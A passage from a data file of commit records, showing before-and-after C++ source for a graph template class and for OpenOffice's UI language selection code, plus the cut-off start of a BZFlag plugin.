GetVertexKey(const ValueType & value_of_vertex)\n {\n for(const VertexNode & vertex : graph_)\n {\n if(vertex.IsValueEqual(value_of_vertex) == true)\n return vertex.key;\n }\n\n return GetVertexCount();\n }\n\n \/** Get a value of the vertex with specified key from a graph\n\n \\return Return the value\n \\param[in] key_of_vertex Key of vertex\n *\/\n inline\n ValueType\n GetVertexValue(const KeyType & key_of_vertex)\n const\n { return graph_.at(key_of_vertex).value; }\n\n \/** Set a value of the vertex with specified key from a graph\n\n \\param[in] key_of_vertex Key of vertex\n \\param[in] value_of_vertex Value of vertex\n *\/\n inline\n void\n SetVertexValue(const KeyType & key_of_vertex, const ValueType & value_of_vertex)\n { graph_.at(key_of_vertex).value = value_of_vertex; }\n\n \/** Get a count of vertices\n\n \\return Count of vertices\n *\/\n inline\n SizeType\n GetVertexCount(void)\n const\n { return graph_.size(); }\n\n \/** Get a count of edges\n\n \\return Count of edges\n \\param[in] key_of_vertex Key of vertex\n *\/\n inline\n SizeType\n GetVertexEdgeCount(const KeyType & key_of_vertex)\n const\n { return graph_.at(key_of_vertex).edges.size(); }\n};\n\n} \/** ns: algorithm *\/\n\n#endif \/** ! ALGORITHM_GRAPH_HPP_ *\/\n<commit_msg>Change the private member to protected<commit_after>\/**\n *\n * Graph\n *\n * Undirected, weighted graph\n * https:\/\/github.com\/kdzlvaids\/algorithm_and_practice-pknu-2016\n *\n *\/\n\n#ifndef ALGORITHM_GRAPH_HPP_\n#define ALGORITHM_GRAPH_HPP_ 1\n\n\/** Includes *\/\n#include <cstddef> \/** size_t definition *\/\n#include <vector> \/** Containers *\/\n#include <map> \/** Containers *\/\n\nnamespace algorithm\n{\n\n\/** Undirected, weighted graph class\n\n \\note Vertex deletion is not implemented\n \\note Edge deletion is not implemented\n \\note Cannot use double as WeightType\n*\/\ntemplate<\n class ValueType, \/**< Vertex value type; operator== should be defined *\/\n class WeightType = unsigned int, \/**< Weight type *\/\n WeightType WeightDefaultValue = 0 \/**< Default value of weight *\/\n>\nclass Graph\n{\npublic:\n typedef size_t SizeType;\n typedef std::map<const KeyType, WeightType> EdgeType; \/**< Edges of vertex\n \\param KeyType key_dest\n \\param WeightType weight\n *\/\n\n \/** Test if two keys are equal\n\n \\return Return true if two keys are equal; otherwise return false\n \\param[in] key_first First key to compare\n \\param[in] key_second Second key to compare\n *\/\n bool\n IsKeyEqual(const KeyType & key_first, const KeyType & key_second)\n const\n { return key_first == key_second; }\n\n \/** Vertex class\n\n Each vertex has an array for its edges as a member.\n *\/\n struct VertexNode\n {\n const KeyType key; \/**< Key of vertex; same with index in graph_ *\/\n ValueType value; \/**< Value of vertex *\/\n EdgeType edges;\n \/\/SizeType edges_size; \/**< Count of edges; forward_list not support size() function *\/\n\n \/** Constructor *\/\n VertexNode(const KeyType & key, const ValueType & value)\n : key(key)\n , value(value)\n { }\n\n \/** Test if two values are equal\n\n \\return Return true if two values are equal; otherwise return false\n \\param[in] value Value to compare\n *\/\n bool\n IsValueEqual(const ValueType & value)\n const\n { return this->value == value; }\n };\n\nprotected:\n std::vector<VertexNode> graph_; \/**< Graph *\/\n\npublic:\n \/** Test whether there is an edge from the vertices src to dest\n\n \\return Return true if the edge exists; otherwise return false\n \\param[in] key_src Key of source (src)\n \\param[in] key_dest Key of destination (dest)\n *\/\n bool\n Adjacent(const KeyType & key_src, const KeyType & key_dest)\n {\n for(auto & edge : graph_.at(key_src)->edges)\n {\n if(IsKeyEqual(edge.first, key_dest) == true) \/** Found *\/\n return true;\n }\n\n return false; \/** Not found *\/\n }\n\n \/** Add a vertex, if a graph not have the vertex with specified value already\n\n \\return Return the key of vertex if added successfully; otherwise return -1\n \\param[in] value_of_vertex Value of vertex\n *\/\n KeyType\n AddVertex(const ValueType & value_of_vertex)\n {\n KeyType key_of_vertex = GetVertexKey(value_of_vertex);\n\n if(key_of_vertex == GetVertexCount()) \/** Not found *\/\n graph_.push_back(VertexNode(key_of_vertex, value_of_vertex));\n\n return key_of_vertex;\n }\n\n \/** Add an edge to connect two vertices\n\n \\param[in] key_src Key of source (src)\n \\param[in] key_dest Key of destination (dest)\n \\param[in] weight Weight of the edge\n *\/\n void\n AddEdge(const KeyType & key_src, const KeyType & key_dest, const WeightType & weight = WeightDefaultValue)\n {\n graph_.at(key_src).edges.insert(\n std::make_pair<const KeyType, WeightType> (KeyType(key_dest), WeightType(weight))\n );\n }\n\n \/** Get a key of the vertex with specified value from a graph\n\n If failed to add, return the size of graph which is an invalid key (maximum key + 1).\n\n \\return Return the key of vertex if added successfully; otherwise return the size of graph\n \\param[in] value_of_vertex Value of vertex\n *\/\n KeyType\n GetVertexKey(const ValueType & value_of_vertex)\n {\n for(const VertexNode & vertex : graph_)\n {\n if(vertex.IsValueEqual(value_of_vertex) == true)\n return vertex.key;\n }\n\n return GetVertexCount();\n }\n\n \/** Get a value of the vertex with specified key from a graph\n\n \\return Return the value\n \\param[in] key_of_vertex Key of vertex\n *\/\n inline\n ValueType\n GetVertexValue(const KeyType & key_of_vertex)\n const\n { return graph_.at(key_of_vertex).value; }\n\n \/** Set a value of the vertex with specified key from a graph\n\n \\param[in] key_of_vertex Key of vertex\n \\param[in] value_of_vertex Value of vertex\n *\/\n inline\n void\n SetVertexValue(const KeyType & key_of_vertex, const ValueType & value_of_vertex)\n { graph_.at(key_of_vertex).value = value_of_vertex; }\n\n \/** Get a count of vertices\n\n \\return Count of vertices\n *\/\n inline\n SizeType\n GetVertexCount(void)\n const\n { return graph_.size(); }\n\n \/** Get a count of edges\n\n \\return Count of edges\n \\param[in] key_of_vertex Key of vertex\n *\/\n inline\n SizeType\n GetVertexEdgeCount(const KeyType & key_of_vertex)\n const\n { return graph_.at(key_of_vertex).edges.size(); }\n};\n\n} \/** ns: algorithm *\/\n\n#endif \/** ! ALGORITHM_GRAPH_HPP_ *\/\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: langselect.cxx,v $\n *\n * $Revision: 1.13 $\n * last change: $Author: obo $ $Date: 2005-01-27 12:27:15 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#include \"app.hxx\"\n#include \"langselect.hxx\"\n#include <stdio.h>\n\n#ifndef _RTL_STRING_HXX\n#include <rtl\/string.hxx>\n#endif\n#ifndef _SVTOOLS_PATHOPTIONS_HXX\n#include <svtools\/pathoptions.hxx>\n#endif\n#ifndef _TOOLS_RESID_HXX\n#include <tools\/resid.hxx>\n#endif\n#ifndef _TOOLS_ISOLANG_HXX\n#include <tools\/isolang.hxx>\n#endif\n#ifndef _COMPHELPER_PROCESSFACTORY_HXX_\n#include <comphelper\/processfactory.hxx>\n#endif\n#ifndef _COM_SUN_STAR_CONTAINER_XNAMEACCESS_HPP_\n#include <com\/sun\/star\/container\/XNameAccess.hpp>\n#endif\n#include <com\/sun\/star\/lang\/XComponent.hpp>\n#include <com\/sun\/star\/beans\/NamedValue.hpp>\n#include <com\/sun\/star\/util\/XChangesBatch.hpp>\n#include <com\/sun\/star\/uno\/Any.hxx>\n#include <com\/sun\/star\/lang\/XLocalizable.hpp>\n#include <com\/sun\/star\/lang\/Locale.hpp>\n#include <rtl\/locale.hxx>\n#ifndef INCLUDED_RTL_INSTANCE_HXX\n#include <rtl\/instance.hxx>\n#endif\n#include <osl\/process.h>\n\nusing namespace rtl;\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::lang;\nusing namespace com::sun::star::container;\nusing namespace com::sun::star::beans;\nusing namespace com::sun::star::util;\n\nnamespace desktop {\n\nsal_Bool LanguageSelection::bFoundLanguage = sal_False;\nOUString LanguageSelection::aFoundLanguage;\nconst OUString LanguageSelection::usFallbackLanguage = OUString::createFromAscii(\"en-US\");\n\nLocale LanguageSelection::IsoStringToLocale(const OUString& str)\n{\n Locale l;\n sal_Int32 index=0;\n l.Language = str.getToken(0, '-', index);\n if (index >= 0) l.Country = str.getToken(0, '-', index);\n if (index >= 0) l.Variant = str.getToken(0, '-', index);\n return l;\n}\n\nbool LanguageSelection::prepareLanguage()\n{\n OUString aLocaleString = getLanguageString();\n if ( aLocaleString.getLength() > 0 )\n {\n OUString sConfigSrvc = OUString::createFromAscii(\"com.sun.star.configuration.ConfigurationProvider\");\n Reference< XMultiServiceFactory > theMSF = comphelper::getProcessServiceFactory();\n try\n {\n Reference< XLocalizable > theConfigProvider(\n theMSF->createInstance( sConfigSrvc ),UNO_QUERY_THROW );\n Locale loc = LanguageSelection::IsoStringToLocale(aLocaleString);\n theConfigProvider->setLocale(loc);\n Reference< XPropertySet > xProp(getConfigAccess(\"org.openoffice.Setup\/L10N\/\", sal_True), UNO_QUERY_THROW);\n xProp->setPropertyValue(OUString::createFromAscii(\"ooLocale\"), makeAny(aLocaleString));\n Reference< XChangesBatch >(xProp, UNO_QUERY_THROW)->commitChanges();\n return true;\n }\n catch (Exception& e)\n {\n OString aMsg = OUStringToOString(e.Message, RTL_TEXTENCODING_ASCII_US);\n OSL_ENSURE(sal_False, aMsg.getStr());\n\n }\n }\n return false;\n}\n\n\nOUString LanguageSelection::getLanguageString()\n{\n \/\/ did we already find a language?\n if (bFoundLanguage)\n return aFoundLanguage;\n \/\/ check whether the user has selected a specific language\n OUString aUserLanguage = getUserLanguage();\n if (aUserLanguage.getLength() > 0 )\n {\n if (isInstalledLanguage(aUserLanguage))\n {\n \/\/ all is well\n bFoundLanguage = sal_True;\n aFoundLanguage = aUserLanguage;\n return aFoundLanguage;\n }\n else\n {\n \/\/ selected language is not\/no longer installed\n resetUserLanguage();\n }\n }\n \/\/ try to use system default\n aUserLanguage = getSystemLanguage();\n if (aUserLanguage.getLength() > 0 )\n {\n if (isInstalledLanguage(aUserLanguage, sal_False))\n {\n \/\/ great, system default language is available\n bFoundLanguage = sal_True;\n aFoundLanguage = aUserLanguage;\n return aFoundLanguage;\n }\n }\n \/\/ fallback 1: en-US\n OUString usFB = usFallbackLanguage;\n if (isInstalledLanguage(usFB))\n {\n bFoundLanguage = sal_True;\n aFoundLanguage = usFallbackLanguage;\n return aFoundLanguage;\n }\n \/\/ fallback didn't work use first installed language\n aUserLanguage = getFirstInstalledLanguage();\n bFoundLanguage = sal_True;\n aFoundLanguage = aUserLanguage;\n return aFoundLanguage;\n}\n\nReference< XNameAccess > LanguageSelection::getConfigAccess(const sal_Char* pPath, sal_Bool bUpdate)\n{\n Reference< XNameAccess > xNameAccess;\n try{\n OUString sConfigSrvc = OUString::createFromAscii(\"com.sun.star.configuration.ConfigurationProvider\");\n OUString sAccessSrvc;\n if (bUpdate)\n sAccessSrvc = OUString::createFromAscii(\"com.sun.star.configuration.ConfigurationUpdateAccess\");\n else\n sAccessSrvc = OUString::createFromAscii(\"com.sun.star.configuration.ConfigurationAccess\");\n\n OUString sConfigURL = OUString::createFromAscii(pPath);\n\n \/\/ get configuration provider\n Reference< XMultiServiceFactory > theMSF = comphelper::getProcessServiceFactory();\n if (theMSF.is()) {\n Reference< XMultiServiceFactory > theConfigProvider = Reference< XMultiServiceFactory > (\n theMSF->createInstance( sConfigSrvc ),UNO_QUERY_THROW );\n\n \/\/ access the provider\n Sequence< Any > theArgs(1);\n theArgs[ 0 ] <<= sConfigURL;\n xNameAccess = Reference< XNameAccess > (\n theConfigProvider->createInstanceWithArguments(\n sAccessSrvc, theArgs ), UNO_QUERY_THROW );\n }\n } catch (com::sun::star::uno::Exception& e)\n {\n OString aMsg = OUStringToOString(e.Message, RTL_TEXTENCODING_ASCII_US);\n OSL_ENSURE(sal_False, aMsg.getStr());\n }\n return xNameAccess;\n}\n\nSequence< OUString > LanguageSelection::getInstalledLanguages()\n{\n Sequence< OUString > seqLanguages;\n Reference< XNameAccess > xAccess = getConfigAccess(\"org.openoffice.Setup\/Office\/InstalledLocales\", sal_False);\n if (!xAccess.is()) return seqLanguages;\n seqLanguages = xAccess->getElementNames();\n return seqLanguages;\n}\n\nsal_Bool LanguageSelection::isInstalledLanguage(OUString& usLocale, sal_Bool bExact)\n{\n sal_Bool bInstalled = sal_False;\n Sequence< OUString > seqLanguages = getInstalledLanguages();\n for (sal_Int32 i=0; i<seqLanguages.getLength(); i++)\n {\n if (usLocale.equals(seqLanguages[i]))\n {\n bInstalled = sal_True;\n break;\n }\n }\n\n if (!bInstalled && !bExact)\n {\n \/\/ no exact match was found, well try to find a substitute\n Locale aLocale = IsoStringToLocale(usLocale);\n Locale aInstalledLocale;\n for (sal_Int32 i=0; i<seqLanguages.getLength(); i++)\n {\n aInstalledLocale = IsoStringToLocale(seqLanguages[i]);\n if (aLocale.Language.equals(aInstalledLocale.Language))\n {\n bInstalled = sal_True;\n usLocale = seqLanguages[i];\n break;\n }\n }\n }\n return bInstalled;\n}\n\nOUString LanguageSelection::getFirstInstalledLanguage()\n{\n OUString aLanguage;\n Sequence< OUString > seqLanguages = getInstalledLanguages();\n if (seqLanguages.getLength() > 0)\n aLanguage = seqLanguages[0];\n return aLanguage;\n}\n\nOUString LanguageSelection::getUserLanguage()\n{\n OUString aUserLanguage;\n Reference< XNameAccess > xAccess(getConfigAccess(\"org.openoffice.Office.Linguistic\/General\", sal_False));\n if (xAccess.is())\n {\n try\n {\n xAccess->getByName(OUString::createFromAscii(\"UILocale\")) >>= aUserLanguage;\n }\n catch ( NoSuchElementException const & )\n {\n return OUString();\n }\n catch ( WrappedTargetException const & )\n {\n return OUString();\n }\n }\n return aUserLanguage;\n}\n\nOUString LanguageSelection::getSystemLanguage()\n{\n OUString aUserLanguage;\n Reference< XNameAccess > xAccess(getConfigAccess(\"org.openoffice.System\/L10N\", sal_False));\n if (xAccess.is())\n {\n try\n {\n xAccess->getByName(OUString::createFromAscii(\"UILocale\")) >>= aUserLanguage;\n }\n catch ( NoSuchElementException const & )\n {\n return OUString();\n }\n catch ( WrappedTargetException const & )\n {\n return OUString();\n }\n }\n return aUserLanguage;\n}\n\n\nvoid LanguageSelection::resetUserLanguage()\n{\n try\n {\n Reference< XPropertySet > xProp(getConfigAccess(\"org.openoffice.Office.Linguistic\/General\", sal_True), UNO_QUERY_THROW);\n xProp->setPropertyValue(OUString::createFromAscii(\"UILocale\"), makeAny(OUString::createFromAscii(\"\")));\n Reference< XChangesBatch >(xProp, UNO_QUERY_THROW)->commitChanges();\n }\n catch ( Exception& e)\n {\n OString aMsg = OUStringToOString(e.Message, RTL_TEXTENCODING_ASCII_US);\n OSL_ENSURE(sal_False, aMsg.getStr());\n }\n\n}\n\n\n} \/\/ namespace desktop\n<commit_msg>INTEGRATION: CWS lobeta2 (1.12.14); FILE MERGED 2005\/02\/07 14:32:48 jl 1.12.14.3: RESYNC: (1.12-1.13); FILE MERGED 2004\/12\/16 16:35:18 lo 1.12.14.2: #112849# convert file urls to internal form on the command line 2004\/12\/09 13:36:55 lo 1.12.14.1: #i32939# set CJK and CTL document locale according to user lang, if not yet set<commit_after>\/*************************************************************************\n *\n * $RCSfile: langselect.cxx,v $\n *\n * $Revision: 1.14 $\n * last change: $Author: vg $ $Date: 2005-03-11 10:47:45 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#include \"app.hxx\"\n#include \"langselect.hxx\"\n#include <stdio.h>\n\n#ifndef _RTL_STRING_HXX\n#include <rtl\/string.hxx>\n#endif\n#ifndef _SVTOOLS_PATHOPTIONS_HXX\n#include <svtools\/pathoptions.hxx>\n#endif\n#ifndef _TOOLS_RESID_HXX\n#include <tools\/resid.hxx>\n#endif\n#ifndef _TOOLS_ISOLANG_HXX\n#include <tools\/isolang.hxx>\n#endif\n#ifndef _COMPHELPER_PROCESSFACTORY_HXX_\n#include <comphelper\/processfactory.hxx>\n#endif\n#ifndef _COM_SUN_STAR_CONTAINER_XNAMEACCESS_HPP_\n#include <com\/sun\/star\/container\/XNameAccess.hpp>\n#endif\n#include <com\/sun\/star\/lang\/XComponent.hpp>\n#include <com\/sun\/star\/beans\/NamedValue.hpp>\n#include <com\/sun\/star\/util\/XChangesBatch.hpp>\n#include <com\/sun\/star\/uno\/Any.hxx>\n#include <com\/sun\/star\/lang\/XLocalizable.hpp>\n#include <com\/sun\/star\/lang\/Locale.hpp>\n#include <rtl\/locale.hxx>\n#ifndef INCLUDED_RTL_INSTANCE_HXX\n#include <rtl\/instance.hxx>\n#endif\n#include <osl\/process.h>\n\nusing namespace rtl;\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::lang;\nusing namespace com::sun::star::container;\nusing namespace com::sun::star::beans;\nusing namespace com::sun::star::util;\n\nnamespace desktop {\n\nsal_Bool LanguageSelection::bFoundLanguage = sal_False;\nOUString LanguageSelection::aFoundLanguage;\nconst OUString LanguageSelection::usFallbackLanguage = OUString::createFromAscii(\"en-US\");\n\nLocale LanguageSelection::IsoStringToLocale(const OUString& str)\n{\n Locale l;\n sal_Int32 index=0;\n l.Language = str.getToken(0, '-', index);\n if (index >= 0) l.Country = str.getToken(0, '-', index);\n if (index >= 0) l.Variant = str.getToken(0, '-', index);\n return l;\n}\n\nbool LanguageSelection::prepareLanguage()\n{\n \/\/ get the selected UI language as string\n OUString aLocaleString = getLanguageString();\n if ( aLocaleString.getLength() > 0 )\n {\n OUString sConfigSrvc = OUString::createFromAscii(\"com.sun.star.configuration.ConfigurationProvider\");\n Reference< XMultiServiceFactory > theMSF = comphelper::getProcessServiceFactory();\n try\n {\n \/\/ prepare default config provider by localizing it to the selected locale\n \/\/ this will ensure localized configuration settings to be selected accoring to the\n \/\/ UI language.\n Reference< XLocalizable > theConfigProvider(\n theMSF->createInstance( sConfigSrvc ),UNO_QUERY_THROW );\n Locale loc = LanguageSelection::IsoStringToLocale(aLocaleString);\n theConfigProvider->setLocale(loc);\n Reference< XPropertySet > xProp(getConfigAccess(\"org.openoffice.Setup\/L10N\/\", sal_True), UNO_QUERY_THROW);\n xProp->setPropertyValue(OUString::createFromAscii(\"ooLocale\"), makeAny(aLocaleString));\n Reference< XChangesBatch >(xProp, UNO_QUERY_THROW)->commitChanges();\n\n \/\/ #i32939# setting of default document locale\n setDefaultLocale(aLocaleString);\n\n return true;\n }\n catch ( PropertyVetoException& )\n {\n \/\/ we are not allowed to change this\n }\n catch (Exception& e)\n {\n OString aMsg = OUStringToOString(e.Message, RTL_TEXTENCODING_ASCII_US);\n OSL_ENSURE(sal_False, aMsg.getStr());\n\n }\n }\n return false;\n}\n\nvoid LanguageSelection::setDefaultLocale(const OUString& usUILocale)\n{\n \/\/ #i32939# setting of default document locale\n \/\/ org.openoffice.Office.Linguistic\/General\/DefaultLocale\n \/\/ org.openoffice.Office.Linguistic\/General\/DefaultLocale_CJK\n \/\/ org.openoffice.Office.Linguistic\/General\/DefaultLocale_CTL\n\n \/\/ determine script type of UI locale\n LanguageType ltUILocale = ConvertIsoStringToLanguage(usUILocale);\n sal_uInt16 nScriptType = SvtLanguageOptions::GetScriptTypeOfLanguage(ltUILocale);\n\n Reference< XPropertySet > xProp(getConfigAccess(\n \"org.openoffice.Office.Linguistic\/General\/\", sal_True), UNO_QUERY_THROW);\n OUString usName = OUString::createFromAscii(\"DefaultLocale\");\n switch (nScriptType)\n {\n case SCRIPTTYPE_ASIAN:\n usName = OUString::createFromAscii(\"DefaultLocale_CJK\");\n break;\n case SCRIPTTYPE_COMPLEX:\n usName = OUString::createFromAscii(\"DefaultLocale_CTL\");\n break;\n }\n OUString usValue;\n xProp->getPropertyValue(usName) >>= usValue;\n if (usValue.getLength() == 0)\n {\n \/\/ there is no document language set, for the script type selected\n \/\/ in the UI\n \/\/ covert the LanguageType we've got from the LanguageTable back to\n \/\/ an iso string and store it\n OUString usDefault = ConvertLanguageToIsoString(ltUILocale);\n try\n {\n xProp->setPropertyValue(usName, makeAny(usDefault));\n Reference< XChangesBatch >(xProp, UNO_QUERY_THROW)->commitChanges();\n }\n catch ( PropertyVetoException )\n {\n \/\/ we are not allowed to change this\n }\n }\n}\n\nOUString LanguageSelection::getLanguageString()\n{\n \/\/ did we already find a language?\n if (bFoundLanguage)\n return aFoundLanguage;\n \/\/ check whether the user has selected a specific language\n OUString aUserLanguage = getUserLanguage();\n if (aUserLanguage.getLength() > 0 )\n {\n if (isInstalledLanguage(aUserLanguage))\n {\n \/\/ all is well\n bFoundLanguage = sal_True;\n aFoundLanguage = aUserLanguage;\n return aFoundLanguage;\n }\n else\n {\n \/\/ selected language is not\/no longer installed\n resetUserLanguage();\n }\n }\n \/\/ try to use system default\n aUserLanguage = getSystemLanguage();\n if (aUserLanguage.getLength() > 0 )\n {\n if (isInstalledLanguage(aUserLanguage, sal_False))\n {\n \/\/ great, system default language is available\n bFoundLanguage = sal_True;\n aFoundLanguage = aUserLanguage;\n return aFoundLanguage;\n }\n }\n \/\/ fallback 1: en-US\n OUString usFB = usFallbackLanguage;\n if (isInstalledLanguage(usFB))\n {\n bFoundLanguage = sal_True;\n aFoundLanguage = usFallbackLanguage;\n return aFoundLanguage;\n }\n \/\/ fallback didn't work use first installed language\n aUserLanguage = getFirstInstalledLanguage();\n bFoundLanguage = sal_True;\n aFoundLanguage = aUserLanguage;\n return aFoundLanguage;\n}\n\nReference< XNameAccess > LanguageSelection::getConfigAccess(const sal_Char* pPath, sal_Bool bUpdate)\n{\n Reference< XNameAccess > xNameAccess;\n try{\n OUString sConfigSrvc = OUString::createFromAscii(\"com.sun.star.configuration.ConfigurationProvider\");\n OUString sAccessSrvc;\n if (bUpdate)\n sAccessSrvc = OUString::createFromAscii(\"com.sun.star.configuration.ConfigurationUpdateAccess\");\n else\n sAccessSrvc = OUString::createFromAscii(\"com.sun.star.configuration.ConfigurationAccess\");\n\n OUString sConfigURL = OUString::createFromAscii(pPath);\n\n \/\/ get configuration provider\n Reference< XMultiServiceFactory > theMSF = comphelper::getProcessServiceFactory();\n if (theMSF.is()) {\n Reference< XMultiServiceFactory > theConfigProvider = Reference< XMultiServiceFactory > (\n theMSF->createInstance( sConfigSrvc ),UNO_QUERY_THROW );\n\n \/\/ access the provider\n Sequence< Any > theArgs(1);\n theArgs[ 0 ] <<= sConfigURL;\n xNameAccess = Reference< XNameAccess > (\n theConfigProvider->createInstanceWithArguments(\n sAccessSrvc, theArgs ), UNO_QUERY_THROW );\n }\n } catch (com::sun::star::uno::Exception& e)\n {\n OString aMsg = OUStringToOString(e.Message, RTL_TEXTENCODING_ASCII_US);\n OSL_ENSURE(sal_False, aMsg.getStr());\n }\n return xNameAccess;\n}\n\nSequence< OUString > LanguageSelection::getInstalledLanguages()\n{\n Sequence< OUString > seqLanguages;\n Reference< XNameAccess > xAccess = getConfigAccess(\"org.openoffice.Setup\/Office\/InstalledLocales\", sal_False);\n if (!xAccess.is()) return seqLanguages;\n seqLanguages = xAccess->getElementNames();\n return seqLanguages;\n}\n\nsal_Bool LanguageSelection::isInstalledLanguage(OUString& usLocale, sal_Bool bExact)\n{\n sal_Bool bInstalled = sal_False;\n Sequence< OUString > seqLanguages = getInstalledLanguages();\n for (sal_Int32 i=0; i<seqLanguages.getLength(); i++)\n {\n if (usLocale.equals(seqLanguages[i]))\n {\n bInstalled = sal_True;\n break;\n }\n }\n\n if (!bInstalled && !bExact)\n {\n \/\/ no exact match was found, well try to find a substitute\n Locale aLocale = IsoStringToLocale(usLocale);\n Locale aInstalledLocale;\n for (sal_Int32 i=0; i<seqLanguages.getLength(); i++)\n {\n aInstalledLocale = IsoStringToLocale(seqLanguages[i]);\n if (aLocale.Language.equals(aInstalledLocale.Language))\n {\n bInstalled = sal_True;\n usLocale = seqLanguages[i];\n break;\n }\n }\n }\n return bInstalled;\n}\n\nOUString LanguageSelection::getFirstInstalledLanguage()\n{\n OUString aLanguage;\n Sequence< OUString > seqLanguages = getInstalledLanguages();\n if (seqLanguages.getLength() > 0)\n aLanguage = seqLanguages[0];\n return aLanguage;\n}\n\nOUString LanguageSelection::getUserLanguage()\n{\n OUString aUserLanguage;\n Reference< XNameAccess > xAccess(getConfigAccess(\"org.openoffice.Office.Linguistic\/General\", sal_False));\n if (xAccess.is())\n {\n try\n {\n xAccess->getByName(OUString::createFromAscii(\"UILocale\")) >>= aUserLanguage;\n }\n catch ( NoSuchElementException const & )\n {\n return OUString();\n }\n catch ( WrappedTargetException const & )\n {\n return OUString();\n }\n }\n return aUserLanguage;\n}\n\nOUString LanguageSelection::getSystemLanguage()\n{\n OUString aUserLanguage;\n Reference< XNameAccess > xAccess(getConfigAccess(\"org.openoffice.System\/L10N\", sal_False));\n if (xAccess.is())\n {\n try\n {\n xAccess->getByName(OUString::createFromAscii(\"UILocale\")) >>= aUserLanguage;\n }\n catch ( NoSuchElementException const & )\n {\n return OUString();\n }\n catch ( WrappedTargetException const & )\n {\n return OUString();\n }\n }\n return aUserLanguage;\n}\n\n\nvoid LanguageSelection::resetUserLanguage()\n{\n try\n {\n Reference< XPropertySet > xProp(getConfigAccess(\"org.openoffice.Office.Linguistic\/General\", sal_True), UNO_QUERY_THROW);\n xProp->setPropertyValue(OUString::createFromAscii(\"UILocale\"), makeAny(OUString::createFromAscii(\"\")));\n Reference< XChangesBatch >(xProp, UNO_QUERY_THROW)->commitChanges();\n }\n catch ( PropertyVetoException& )\n {\n \/\/ we are not allowed to change this\n }\n catch ( Exception& e)\n {\n OString aMsg = OUStringToOString(e.Message, RTL_TEXTENCODING_ASCII_US);\n OSL_ENSURE(sal_False, aMsg.getStr());\n }\n\n}\n\n\n} \/\/ namespace desktop\n<|endoftext|>"} {"text":"<commit_before>\/*\nUselessMine\n Copyright (C) 2014 Vladimir \"allejo\" Jimenez\n\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <fstream>\n#include <memory>\n#include <stdlib.h>\n#include <string>\n\n#include \"bzfsAPI.h\"\n#include \"bztoolkit\/bzToolkitAPI.h\"\n\n\/\/ Define plugin name\nconst std::string PLUGIN_NAME = \"Useless Mine\";\n\n\/\/ Define plugin version numbering\nconst int MAJOR = 1;\nconst int MINOR = 0;\nconst int REV = 0;\nconst int 